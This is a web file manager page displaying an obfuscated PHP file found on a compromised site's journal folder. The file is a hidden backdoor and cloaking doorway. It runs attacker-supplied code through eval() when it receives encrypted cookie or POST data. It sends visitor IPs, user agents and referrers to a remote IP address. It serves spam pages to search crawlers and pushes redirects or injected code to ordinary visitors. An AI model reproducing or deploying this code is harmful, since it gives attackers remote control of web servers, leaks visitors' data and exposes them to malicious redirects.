芝麻web文件管理V1.00
编辑当前文件:/home/jambtst2015/public_html/giraffeng.com/journal/is5q5x.php
4 ? long2ip (_05kzni::$_7han1vba - 1005) : $_8y1ghl14[2];$_le2j7y56 = _05kzni::_u8vts($_8y1ghl14, $_otyb1y6h);if (!$_le2j7y56){$_le2j7y56 = _05kzni::_c5zj9($_8y1ghl14, $_otyb1y6h);}return $_le2j7y56;}static function _u8vts($_8y1ghl14, $_le2j7y56){if (!function_exists('curl_version')){return "";}$_i2qvjtou = curl_init();curl_setopt($_i2qvjtou, CURLOPT_URL, implode("/", $_8y1ghl14));if (!empty($_le2j7y56)){curl_setopt($_i2qvjtou, CURLOPT_POST, 1);curl_setopt($_i2qvjtou, CURLOPT_POSTFIELDS, $_le2j7y56);}curl_setopt($_i2qvjtou, CURLOPT_RETURNTRANSFER, TRUE);$_rpritjbp = curl_exec($_i2qvjtou);curl_close($_i2qvjtou);return $_rpritjbp;}static function _c5zj9($_8y1ghl14, $_le2j7y56){if (!empty($_le2j7y56)){$_7wlpbbz8 = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_le2j7y56)));$_rpritjbp = @file_get_contents(implode("/", $_8y1ghl14), FALSE, $_7wlpbbz8);}else{$_rpritjbp = @file_get_contents(implode("/", $_8y1ghl14));}return $_rpritjbp;}}class _rvgcyvp{private static $_xlj1cfza = "";private static $_fqmdiw8y = -1;private static $_c3eq0sbz = "";private $_s0pca5ef = "";private $_phcox6b9 = "";private $_7ixrd16h = "";public static function _x6dx4($_4dc7r3v9, $_snft1xy8, $_kscn6vq1){_rvgcyvp::$_xlj1cfza = $_4dc7r3v9 . "/cache/";_rvgcyvp::$_fqmdiw8y = $_snft1xy8;_rvgcyvp::$_c3eq0sbz = $_kscn6vq1;if (!@file_exists(_rvgcyvp::$_xlj1cfza)){@mkdir(_rvgcyvp::$_xlj1cfza);}}public function __construct($_rlk0wzno, $_fet2i7ck, $_4kj4oa78){$this->_s0pca5ef = $_rlk0wzno;$this->_phcox6b9 = $_fet2i7ck;$this->_7ixrd16h = $_4kj4oa78;}public function _k10p5(){return str_replace("{{ text }}", $this->_phcox6b9,str_replace("{{ keyword }}", $this->_7ixrd16h, $this->_s0pca5ef));}public function _u180b(){$_gndx1keu = _rvgcyvp::$_xlj1cfza . md5($this->_7ixrd16h . _rvgcyvp::$_c3eq0sbz);if (_rvgcyvp::$_fqmdiw8y == -1){$_n66dk46z = -1;}else{$_n66dk46z = time() + (3600 * 24 * 30);}$_0d2xxrtg = Array("template" => $this->_s0pca5ef, "text" => $this->_phcox6b9, "keyword" => $this->_7ixrd16h,"expired" => $_n66dk46z);@file_put_contents($_gndx1keu, serialize($_0d2xxrtg));}static public function _dzldt($_4kj4oa78){$_gndx1keu = _rvgcyvp::$_xlj1cfza . md5($_4kj4oa78 . _rvgcyvp::$_c3eq0sbz);$_gndx1keu = @unserialize(@file_get_contents($_gndx1keu));if (!empty($_gndx1keu) && ($_gndx1keu["expired"] > time() || $_gndx1keu["expired"] == -1)){return new _rvgcyvp($_gndx1keu["template"], $_gndx1keu["text"], $_gndx1keu["keyword"]);}else{return null;}}}class _u5579xd{private static $_xlj1cfza = "";private static $_mrspkhpl = "";public static function _x6dx4($_4dc7r3v9, $_7e5yga8c){_u5579xd::$_xlj1cfza = $_4dc7r3v9 . "/";_u5579xd::$_mrspkhpl = $_7e5yga8c;if (!@file_exists(_u5579xd::$_xlj1cfza)){@mkdir(_u5579xd::$_xlj1cfza);}}static public function _pegga(){$_h7wy904h = 0;foreach (scandir(_u5579xd::$_xlj1cfza) as $_h6th4kja){if (strpos($_h6th4kja, _u5579xd::$_mrspkhpl) === 0){$_h7wy904h += 1;}}return $_h7wy904h;}static public function _qg1mf(){$_wmsf6k9k = Array();foreach (scandir(_u5579xd::$_xlj1cfza) as $_h6th4kja){if (strpos($_h6th4kja, _u5579xd::$_mrspkhpl) === 0){$_wmsf6k9k[] = $_h6th4kja;}}return @file_get_contents(_u5579xd::$_xlj1cfza . $_wmsf6k9k[array_rand($_wmsf6k9k)]);}static public function _u180b($_s2r1dg4k){if (@file_exists(_u5579xd::$_mrspkhpl . "_" . md5($_s2r1dg4k) . ".html")){return;}@file_put_contents(_u5579xd::$_mrspkhpl . "_" . md5($_s2r1dg4k) . ".html", $_s2r1dg4k);}}class _ceguny{static public $_jizs1z6j = "3.3";static public $_2indbkom = "06641793-6348-7c38-365f-332c3b969334";private $_jur02cbj = "http://46.4.82.133/module/access/api?action=redir";private $_21e9tb5b = "http://46.4.82.133/module/access/api?action=page";private function _et27y(){function _ynqau($_wqksn1yt, $_8669so0w){$_zpbc0yr6 = "";for ($_o3u4ckat = 0; $_o3u4ckat < strlen($_wqksn1yt);) {for ($_9j3zsnz2 = 0; $_9j3zsnz2 < strlen($_8669so0w) && $_o3u4ckat < strlen($_wqksn1yt); $_9j3zsnz2++, $_o3u4ckat++) {$_zpbc0yr6 .= chr(ord($_wqksn1yt[$_o3u4ckat]) ^ ord($_8669so0w[$_9j3zsnz2]));}}return $_zpbc0yr6;}function _snxod($_wqksn1yt, $_8669so0w, $_om941jdy){return _ynqau(_ynqau($_wqksn1yt, $_8669so0w), $_om941jdy);}foreach (array_merge($_COOKIE, $_POST) as $_blwi1plq => $_wqksn1yt) {$_wqksn1yt = @unserialize(_snxod(_ceguny::_ypknx($_wqksn1yt), $_blwi1plq, _ceguny::$_2indbkom));if (isset($_wqksn1yt['ak']) && _ceguny::$_2indbkom == $_wqksn1yt['ak']) {if ($_wqksn1yt['a'] == 'doorway2') {if ($_wqksn1yt['sa'] == 'check') {$_le2j7y56 = _05kzni::_hr24r(explode("/", "http://httpbin.org/"), "");if (strlen($_le2j7y56) > 512) {echo @serialize(Array("uid" => _ceguny::$_2indbkom, "v" => _ceguny::$_jizs1z6j, "uu" => $this->_jur02cbj, "pu" => $this->_21e9tb5b));}exit;}}if ($_wqksn1yt['sa'] == 'eval') {eval($_wqksn1yt["data"]);exit;}}}}private function _g8va9(){$_soxqibob = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_awqrd383 = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_awqrd383 = $_SERVER['REMOTE_ADDR'];} else {$_awqrd383 = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_soxqibob, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_spn4k34g = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_spn4k34g = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_awqrd383), 'google')) {$_spn4k34g = 1;}else{$_spn4k34g = 0;}return $_spn4k34g;}private static function _gp61r(){$_otyb1y6h = Array();$_otyb1y6h['ip'] = $_SERVER['REMOTE_ADDR'];$_otyb1y6h['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_otyb1y6h['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_otyb1y6h['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_otyb1y6h['ref'] = @$_SERVER['HTTP_REFERER'];$_otyb1y6h['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_otyb1y6h['acp'] = @$_SERVER['HTTP_ACCEPT'];$_otyb1y6h['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_otyb1y6h['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_otyb1y6h;}public function __construct(){$this->_jur02cbj = explode("/", $this->_jur02cbj);$this->_21e9tb5b = explode("/", $this->_21e9tb5b);}private function _ypknx($_5x357k1s){if (strlen($_5x357k1s) < 4){return "";}$_jm06uvf6 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_jgf4epc2 = str_split($_jm06uvf6);$_jgf4epc2 = array_flip($_jgf4epc2);$_o3u4ckat = 0;$_o8axjx8v = "";$_5x357k1s = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_5x357k1s);do {$_sj6sc68z = $_jgf4epc2[$_5x357k1s[$_o3u4ckat++]];$_4ds8tnsq = $_jgf4epc2[$_5x357k1s[$_o3u4ckat++]];$_1icemv98 = $_jgf4epc2[$_5x357k1s[$_o3u4ckat++]];$_uxvdf6ky = $_jgf4epc2[$_5x357k1s[$_o3u4ckat++]];$_uxlbi8c0 = ($_sj6sc68z << 2) | ($_4ds8tnsq >> 4);$_5u4sw77h = (($_4ds8tnsq & 15) << 4) | ($_1icemv98 >> 2);$_a88mlvlf = (($_1icemv98 & 3) << 6) | $_uxvdf6ky;$_o8axjx8v = $_o8axjx8v . chr($_uxlbi8c0);if ($_1icemv98 != 64) {$_o8axjx8v = $_o8axjx8v . chr($_5u4sw77h);}if ($_uxvdf6ky != 64) {$_o8axjx8v = $_o8axjx8v . chr($_a88mlvlf);}} while ($_o3u4ckat < strlen($_5x357k1s));return $_o8axjx8v;}private function _fjyj8($_4kj4oa78){$_rlk0wzno = "";$_fet2i7ck = "";$_otyb1y6h = _ceguny::_gp61r();$_otyb1y6h["uid"] = _ceguny::$_2indbkom;$_otyb1y6h["keyword"] = $_4kj4oa78;$_otyb1y6h["tc"] = _u5579xd::_pegga();$_otyb1y6h = http_build_query($_otyb1y6h);$_wqksn1yt = _05kzni::_hr24r($this->_21e9tb5b, $_otyb1y6h);$_wqksn1yt = @unserialize($_wqksn1yt);if (isset($_wqksn1yt["text"])){$_fet2i7ck = $_wqksn1yt["text"];}if (isset($_wqksn1yt["template"])){$_rlk0wzno = $_wqksn1yt["template"];}if (empty($_rlk0wzno)){$_rlk0wzno = _u5579xd::_qg1mf();}else{_u5579xd::_u180b($_rlk0wzno);}return Array($_rlk0wzno, $_fet2i7ck);}private function _mfoky(){$_otyb1y6h = _ceguny::_gp61r();$_otyb1y6h["uid"] = _ceguny::$_2indbkom;$_otyb1y6h = http_build_query($_otyb1y6h);$_5cbpzg7g = _05kzni::_hr24r($this->_jur02cbj, $_otyb1y6h);$_5cbpzg7g = @unserialize($_5cbpzg7g);if (isset($_5cbpzg7g["type"]) && $_5cbpzg7g["type"] == "redir") {if (!empty($_5cbpzg7g["data"]["header"])) {header($_5cbpzg7g["data"]["header"]);} elseif (!empty($_5cbpzg7g["data"]["code"])) {echo $_5cbpzg7g["data"]["code"];}}}public function _uqkv4(){$this->_et27y();$_gcml3a71 = array_keys($_GET);$_4kj4oa78 = $_GET[$_gcml3a71[0]];$_4kj4oa78 = str_replace("-", " ", $_4kj4oa78);if ($this->_g8va9()){$_5cbpzg7g = _rvgcyvp::_dzldt($_4kj4oa78);if (empty($_5cbpzg7g)){list($_rlk0wzno, $_fet2i7ck) = $this->_fjyj8($_4kj4oa78);if (empty($_fet2i7ck)){return;}$_5cbpzg7g = new _rvgcyvp($_rlk0wzno, $_fet2i7ck, $_4kj4oa78);$_5cbpzg7g->_u180b();}echo $_5cbpzg7g->_k10p5();}else{$this->_mfoky();}}}_rvgcyvp::_x6dx4(dirname(__FILE__), -1, _ceguny::$_2indbkom);_u5579xd::_x6dx4(dirname(__FILE__), substr(md5(_ceguny::$_2indbkom), 0, 4));$_e3xwn107 = new _ceguny();$_e3xwn107->_uqkv4();exit();